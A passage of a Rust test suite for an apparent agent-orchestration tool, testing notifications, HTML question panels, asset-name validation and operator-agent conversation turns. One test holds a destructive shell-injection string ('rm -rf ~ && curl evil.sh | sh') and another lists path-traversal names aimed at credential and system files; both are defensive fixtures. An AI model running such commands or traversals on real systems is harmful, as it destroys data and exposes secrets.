1792 QuestionStatus::Open,
1793 "talking back is not a decision; the question stays open"
1794 );
1795 }
1796
1797 #[tokio::test]
1798 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
1799 // A broken webhook must not throw away an implementation, so the wait
1800 // reports the failure and carries on. `notify` itself still says what
1801 // went wrong, because `magi notify --test` has to be able to show it.
1802 let (dir, s) = store();
1803 let broken = config::Notify {
1804 command: vec![
1805 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
1806 "{summary}".to_owned(),
1807 ],
1808 };
1809 let mut q = choice_question();
1810 assert!(
1811 notify(&broken, &q).await.is_err(),
1812 "the caller is told; it decides that it does not matter"
1813 );
1814
1815 let id = q.id.clone();
1816 let writer = Questions::at(dir.path().join("questions"));
1817 let handle = tokio::spawn(async move {
1818 tokio::time::sleep(Duration::from_millis(30)).await;
1819 let mut fresh = writer.get(&id).unwrap();
1820 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
1821 writer.put(&mut fresh).unwrap();
1822 });
1823 let got = wait_for_owner(
1824 &mut q,
1825 &s,
1826 &broken,
1827 Duration::from_secs(5),
1828 Duration::from_millis(10),
1829 )
1830 .await
1831 .unwrap();
1832 handle.await.unwrap();
1833 assert_eq!(got, Wait::Answered("Redis".to_owned()));
1834
1835 // No command at all is the default, and is silence rather than failure.
1836 assert!(notify(&quiet(), &q).await.is_ok());
1837 }
1838
1839 #[test]
1840 fn notification_arguments_are_substituted_and_never_a_shell_string() {
1841 let mut q = choice_question();
1842 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
1843 let template = [
1844 "ntfy".to_owned(),
1845 "publish".to_owned(),
1846 "--click".to_owned(),
1847 "{url}".to_owned(),
1848 "--title".to_owned(),
1849 "magi {run} needs you".to_owned(),
1850 "{summary}".to_owned(),
1851 ];
1852 let argv: Vec<String> = template
1853 .iter()
1854 .map(|a| expand(a, &q, "http://100.64.0.1:7777/#/questions"))
1855 .collect();
1856
1857 assert_eq!(
1858 argv,
1859 [
1860 "ntfy",
1861 "publish",
1862 "--click",
1863 "http://100.64.0.1:7777/#/questions",
1864 "--title",
1865 "magi 20260902-201256-9fb7 needs you",
1866 "; rm -rf ~ && curl evil.sh | sh #",
1867 ],
1868 "the shell metacharacters are one argument's contents, not syntax"
1869 );
1870
1871 // A summary that itself mentions a placeholder is text, not a template:
1872 // one left-to-right pass means a substituted value is never rescanned.
1873 q.summary = "should {url} be configurable?".to_owned();
1874 assert_eq!(
1875 expand("{summary}", &q, "http://x/#/questions"),
1876 "should {url} be configurable?"
1877 );
1878 // An unknown brace is the operator's own text and survives untouched.
1879 assert_eq!(
1880 expand("{title}: {run}", &q, ""),
1881 "{title}: 20260902-201256-9fb7"
1882 );
1883 assert_eq!(expand("no placeholders", &q, "http://x"), "no placeholders");
1884 }
1885
1886 #[test]
1887 fn the_notification_link_lands_on_the_view_that_can_answer() {
1888 assert_eq!(
1889 question_url("http://100.64.0.1:7777"),
1890 "http://100.64.0.1:7777/#/questions"
1891 );
1892 assert_eq!(
1893 question_url("http://100.64.0.1:7777/"),
1894 "http://100.64.0.1:7777/#/questions"
1895 );
1896 // An operator who wrote a fragment has said where they want to land.
1897 assert_eq!(
1898 question_url("http://magi.ts.net/#/runs"),
1899 "http://magi.ts.net/#/runs"
1900 );
1901 // Unset expands to nothing rather than to a guessed address.
1902 assert_eq!(question_url(" "), "");
1903 }
1904
1905 /// A question with a fixed id, so a panel's path on disk is predictable.
1906 fn panelled() -> Question {
1907 let mut q = choice_question();
1908 q.id = "20260903-014455-ab12".to_owned();
1909 q
1910 }
1911
1912 #[test]
1913 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
1914 let (dir, s) = store();
1915 let work = dir.path().join("worktree");
1916 std::fs::create_dir_all(&work).unwrap();
1917 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
1918 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
1919
1920 let mut q = panelled();
1921 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
1922 s.put_panel(
1923 &mut q,
1924 html,
1925 &[work.join("table.png"), work.join("diff.svg")],
1926 )
1927 .unwrap();
1928 s.put(&mut q).unwrap();
1929
1930 assert!(q.panel);
1931 assert_eq!(
1932 q.assets,
1933 ["diff.svg", "table.png"],
1934 "sorted, not in the order the agent happened to pass them"
1935 );
1936 assert_eq!(
1937 s.panel_html(&q.id).as_deref(),
1938 Some(html),
1939 "the html is stored byte for byte; the agent authored the markup"
1940 );
1941 assert_eq!(
1942 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
1943 Some(&b"<svg/>"[..])
1944 );
1945
1946 // The record on disk carries the same two fields the front end reads.
1947 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
1948 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
1949 assert_eq!(json["panel"], true);
1950 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
1951 let back = s.get(&q.id).unwrap();
1952 assert!(back.panel);
1953 assert_eq!(back.assets, q.assets);
1954
1955 // The assets were copied, so the panel still renders after `magi fold`
1956 // has deleted the candidate worktree the agent authored it in.
1957 std::fs::remove_dir_all(&work).unwrap();
1958 assert_eq!(
1959 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
1960 Some(&b"\x89PNG"[..]),
1961 "a referenced asset would be gone with the worktree"
1962 );
1963 }
1964
1965 #[test]
1966 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
1967 let (dir, s) = store();
1968 let mut q = panelled();
1969 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
1970 s.put(&mut q).unwrap();
1971
1972 // A file exactly one level up from the panel directory - which is
1973 // where `..` lands - holding content a read would make visible.
1974 let secret = "this must never reach the browser";
1975 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
1976 assert_eq!(
1977 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
1978 secret,
1979 "the traversal is real: the operating system resolves this path \
1980 happily, which is why the name has to be refused before the join"
1981 );
1982
1983 let long = "x".repeat(200);
1984 for name in [
1985 "..",
1986 "../id_rsa",
1987 "..\\id_rsa",
1988 "sub/../id_rsa",
1989 "/",
1990 "\\",
1991 "/etc/passwd",
1992 "C:\\Windows\\win.ini",
1993 "",
1994 ".hidden",
1995 ".",
1996 long.as_str(),
1997 ] {
1998 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
1999 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
2000 assert!(
2001 e.contains("not a panel file name"),
2002 "`{name}` must be refused as a name, not attempted: {e}"
2003 );
2004 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
2005 }
2006 // A name that is allowed still finds its file, so the refusals above
2007 // were the rule at work and not a store that reads nothing.
2008 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
2009
2010 // The same rule on the write side, where the name comes from a source
2011 // file's base name, and a refusal leaves the stored panel untouched.
2012 let hidden = dir.path().join(".hidden");
2013 std::fs::write(&hidden, "x").unwrap();
2014 let e = s
2015 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
2016 .unwrap_err()
2017 .to_string();
2018 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
2019 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
2020 assert!(q.assets.is_empty());
2021 }
2022
2023 #[test]
2024 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
2025 let (dir, s) = store();
2026 let mut q = panelled();
2027 s.put(&mut q).unwrap();
2028
2029 // Sized rather than filled: the cap reads the file's length, and a
2030 // test that actually produced eight mebibytes would only be slower.
2031 let big = dir.path().join("recording.png");
2032 std::fs::File::create(&big)
2033 .unwrap()
2034 .set_len(PANEL_MAX_BYTES)
2035 .unwrap();
2036
2037 let html = "<p>see the recording</p>";
2038 let total = PANEL_MAX_BYTES + html.len() as u64;
2039 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
2040 assert!(
2041 e.contains(&PANEL_MAX_BYTES.to_string()),
2042 "the cap is named so the agent knows the limit: {e}"
2043 );
2044 assert!(
2045 e.contains(&total.to_string()),
2046 "the actual size is named so the agent knows by how much: {e}"
2047 );
2048
2049 assert!(!q.panel);
2050 assert!(q.assets.is_empty());
2051 let left: Vec<String> = std::fs::read_dir(s.root())
2052 .unwrap()
2053 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
2054 .collect();
2055 assert_eq!(
2056 left,
2057 [format!("{}.json", q.id)],
2058 "a refused panel leaves neither a directory nor scratch: {left:?}"
2059 );
2060 }
2061
2062 #[test]
2063 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
2064 let (dir, s) = store();
2065 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
2066 std::fs::create_dir_all(&before).unwrap();
2067 std::fs::create_dir_all(&after).unwrap();
2068 std::fs::write(before.join("diff.png"), "before").unwrap();
2069 std::fs::write(after.join("diff.png"), "after").unwrap();
2070
2071 let mut q = panelled();
2072 let e = s
2073 .put_panel(
2074 &mut q,
2075 "<p>x</p>",
2076 &[before.join("diff.png"), after.join("diff.png")],
2077 )
2078 .unwrap_err()
2079 .to_string();
2080 assert!(e.contains("diff.png"), "{e}");
2081 assert!(
2082 e.contains("before") && e.contains("after"),
2083 "both sources are named, because the fix is to rename one: {e}"
2084 );
2085 assert!(!q.panel);
2086 assert!(!s.panel_dir(&q.id).exists());
2087 }
2088
2089 #[test]
2090 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
2091 let (dir, s) = store();
2092 std::fs::write(dir.path().join("old.png"), "old").unwrap();
2093 std::fs::write(dir.path().join("new.png"), "new").unwrap();
2094
2095 let mut q = panelled();
2096 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
2097 .unwrap();
2098 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
2099 .unwrap();
2100
2101 assert_eq!(q.assets, ["new.png"]);
2102 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
2103 assert!(
2104 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
2105 "an asset from the first attempt would show a mix of two answers"
2106 );
2107
2108 s.drop_panel(&q.id).unwrap();
2109 assert!(s.panel_html(&q.id).is_none());
2110 assert!(!s.panel_dir(&q.id).exists());
2111 s.drop_panel(&q.id)
2112 .expect("dropping a panel that is already gone is the desired state");
2113 }
2114
2115 #[test]
2116 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
2117 let (_dir, s) = store();
2118 let mut q = panelled();
2119 s.put(&mut q).unwrap();
2120
2121 assert!(!q.panel);
2122 assert!(s.panel_html(&q.id).is_none());
2123 assert!(
2124 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
2125 "a missing file is a 404 for the caller, not a failure of the store"
2126 );
2127 let json = serde_json::to_value(&q).unwrap();
2128 assert_eq!(json["panel"], false);
2129 assert_eq!(json["assets"], serde_json::json!([]));
2130
2131 // And an empty panel is refused, because an empty frame reads to the
2132 // owner as "the agent had nothing to say".
2133 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
2134 assert!(e.contains("empty panel"), "{e}");
2135 assert!(!s.panel_dir(&q.id).exists());
2136 }
2137
2138 #[test]
2139 fn a_question_written_before_panels_existed_still_deserialises() {
2140 let (_dir, s) = store();
2141 std::fs::create_dir_all(s.root()).unwrap();
2142 let id = "20260902-231501-ab12";
2143 // Byte for byte what an older magi wrote: no `panel`, no `assets`.
2144 let body = r#"{
2145 "schema": 1,
2146 "id": "20260902-231501-ab12",
2147 "run": "20260902-201256-9fb7",
2148 "node": "implement",
2149 "seat": "impl-A",
2150 "summary": "Which storage backend should the cache use?",
2151 "detail": "Both are already dependencies.",
2152 "choices": ["SQLite", "Redis"],
2153 "status": "open",
2154 "asked_at": "2026-09-02T23:15:01Z",
2155 "answered_at": null,
2156 "answer": null
2157}"#;
2158 std::fs::write(s.path_of(id), body).unwrap();
2159
2160 let q = s.get(id).unwrap();
2161 assert!(
2162 !q.panel,
2163 "an absent field means no panel, not a parse error"
2164 );
2165 assert!(q.assets.is_empty());
2166 // Schema 1 predates `thread` entirely - not merely predates it having
2167 // any turns - and this build now speaks schema 3. Reading it must not
2168 // be an error: `q.schema > SCHEMA` is false for 1 > 3, so the file is
2169 // accepted and the missing field defaults to no conversation yet.
2170 assert_eq!(q.schema, 1);
2171 assert!(q.thread.is_empty());
2172 assert_eq!(
2173 q.answer_timeout, 0,
2174 "an absent field means unrecorded, not a zero-second deadline"
2175 );
2176 assert!(!q.waiting_on_agent());
2177 assert_eq!(q.summary, "Which storage backend should the cache use?");
2178 assert_eq!(
2179 s.list().len(),
2180 1,
2181 "and it is still listed; skipping it would hide an open question"
2182 );
2183 }
2184
2185 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
2186 Turn {
2187 who,
2188 body: body.to_owned(),
2189 at,
2190 }
2191 }
2192
2193 #[test]
2194 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
2195 // The phone reads this shape by hand, same as the question itself: a
2196 // rename here is a card that silently drops every message in it.
2197 let mut q = choice_question();
2198 q.thread
2199 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
2200 let value = serde_json::to_value(&q.thread[0]).unwrap();
2201 let mut keys: Vec<&str> = value
2202 .as_object()
2203 .unwrap()
2204 .keys()
2205 .map(String::as_str)
2206 .collect();
2207 keys.sort_unstable();
2208 assert_eq!(keys, ["at", "body", "who"]);
2209 assert_eq!(value["who"], "operator");
2210 assert_eq!(value["body"], "why not Postgres?");
2211
2212 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
2213 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
2214 assert_eq!(parsed.who, Who::Agent);
2215 }
2216
2217 #[test]
2218 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
2219 let mut q = choice_question();
2220 q.say("does the cache need eviction?").unwrap();
2221 assert_eq!(q.thread.len(), 1);
2222 assert_eq!(q.thread[0].who, Who::Operator);
2223 assert_eq!(q.thread[0].body, "does the cache need eviction?");
2224 // Speaking is not deciding: the status and the answer are untouched,
2225 // which is the whole point of the round trip existing at all.
2226 assert_eq!(q.status, QuestionStatus::Open);
2227 assert!(q.answer.is_none());
2228 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
2229 }
2230
2231 #[test]
2232 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
2233 let mut answered = choice_question();
2234 answered
2235 .answer(Answer::Choice("SQLite".to_owned()))
2236 .unwrap();
2237 let a = answered.say("still there?").unwrap_err().to_string();
2238 assert!(a.contains("already answered"), "{a}");
2239 let b = answered
2240 .reply("still there?", vec![])
2241 .unwrap_err()
2242 .to_string();
2243 assert!(b.contains("already answered"), "{b}");
2244
2245 let mut abandoned = choice_question();
2246 abandoned.abandon("timed out");
2247 let c = abandoned.say("hello?").unwrap_err().to_string();
2248 assert!(c.contains("abandoned"), "{c}");
2249
2250 let mut open = choice_question();
2251 let d = open.say(" ").unwrap_err().to_string();
2252 assert!(d.contains("empty"), "{d}");
2253 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
2254 assert!(e.contains("empty"), "{e}");
2255 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
2256 }
2257
2258 #[test]
2259 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
2260 let mut q = choice_question();
2261 q.say("SQLite or Redis, but what about disk space?")
2262 .unwrap();
2263 assert!(q.waiting_on_agent());
2264
2265 q.reply(
2266 "SQLite: it is one file, no server to run.",
2267 vec!["SQLite".to_owned()],
2268 )
2269 .unwrap();
2270
2271 assert_eq!(q.choices, ["SQLite"]);
2272 assert!(
2273 !q.waiting_on_agent(),
2274 "the agent spoke, so the owner is the one being waited on now"
2275 );
2276 assert_eq!(q.thread.len(), 2);
2277 assert_eq!(q.thread[1].who, Who::Agent);
2278
2279 // The new choice set is what a subsequent answer is checked against.
2280 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
2281 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2282 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
2283 }
2284
2285 #[test]
2286 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
2287 let mut fresh = choice_question();
2288 assert!(
2289 fresh.should_notify(Timestamp::now()),
2290 "nobody has been notified yet, so the first ask always pages"
2291 );
2292
2293 fresh.say("why not Postgres?").unwrap();
2294 let just_said = fresh.thread[0].at;
2295 assert!(
2296 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
2297 "still on the screen a minute later; no need to page again"
2298 );
2299 assert!(
2300 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(300)),
2301 "exactly the window: `>` means this side stays quiet"
2302 );
2303 assert!(
2304 fresh.should_notify(just_said + jiff::SignedDuration::from_secs(301)),
2305 "past the window: they may have walked away"
2306 );
2307 }
2308
2309 #[test]
2310 fn a_round_trip_of_turns_still_counts_as_one_open_question() {
2311 let (_dir, s) = store();
2312 let mut q = choice_question();
2313 s.put(&mut q).unwrap();
2314 q.say("why not Postgres?").unwrap();
2315 s.put(&mut q).unwrap();
2316 q.reply("no server to run", vec!["SQLite".to_owned()])
2317 .unwrap();
2318 s.put(&mut q).unwrap();
2319
2320 assert_eq!(
2321 s.count_open(),
2322 1,
2323 "one question that talked twice is still one open question"
2324 );
2325 assert_eq!(s.open_for(&q.run).len(), 1);
2326 }
2327
2328 #[tokio::test]
2329 async fn the_wait_returns_to_the_caller_when_the_owner_talks_back_without_deciding() {
2330 let (dir, s) = store();
2331 let mut q = choice_question();
2332 let id = q.id.clone();
2333 let writer = Questions::at(dir.path().join("questions"));
2334 let handle = tokio::spawn(async move {
2335 tokio::time::sleep(Duration::from_millis(30)).await;
2336 let mut fresh = writer.get(&id).expect("the question was filed first");
2337 fresh.say("why not Postgres?").unwrap();
2338 writer.put(&mut fresh).unwrap();
2339 });
2340
2341 let got = wait_for_owner(
2342 &mut q,
2343 &s,
2344 &quiet(),
2345 Duration::from_secs(5),
2346 Duration::from_millis(10),
2347 )
2348 .await
2349 .unwrap();
2350
2351 handle.await.unwrap();
2352 assert_eq!(got, Wait::Replied("why not Postgres?".to_owned()));
2353 assert_eq!(
2354 q.status,
2355 QuestionStatus::Open,
2356 "talking back is not a decision; the question stays open"
2357 );
2358 assert!(q.answer.is_none());
2359 }
2360}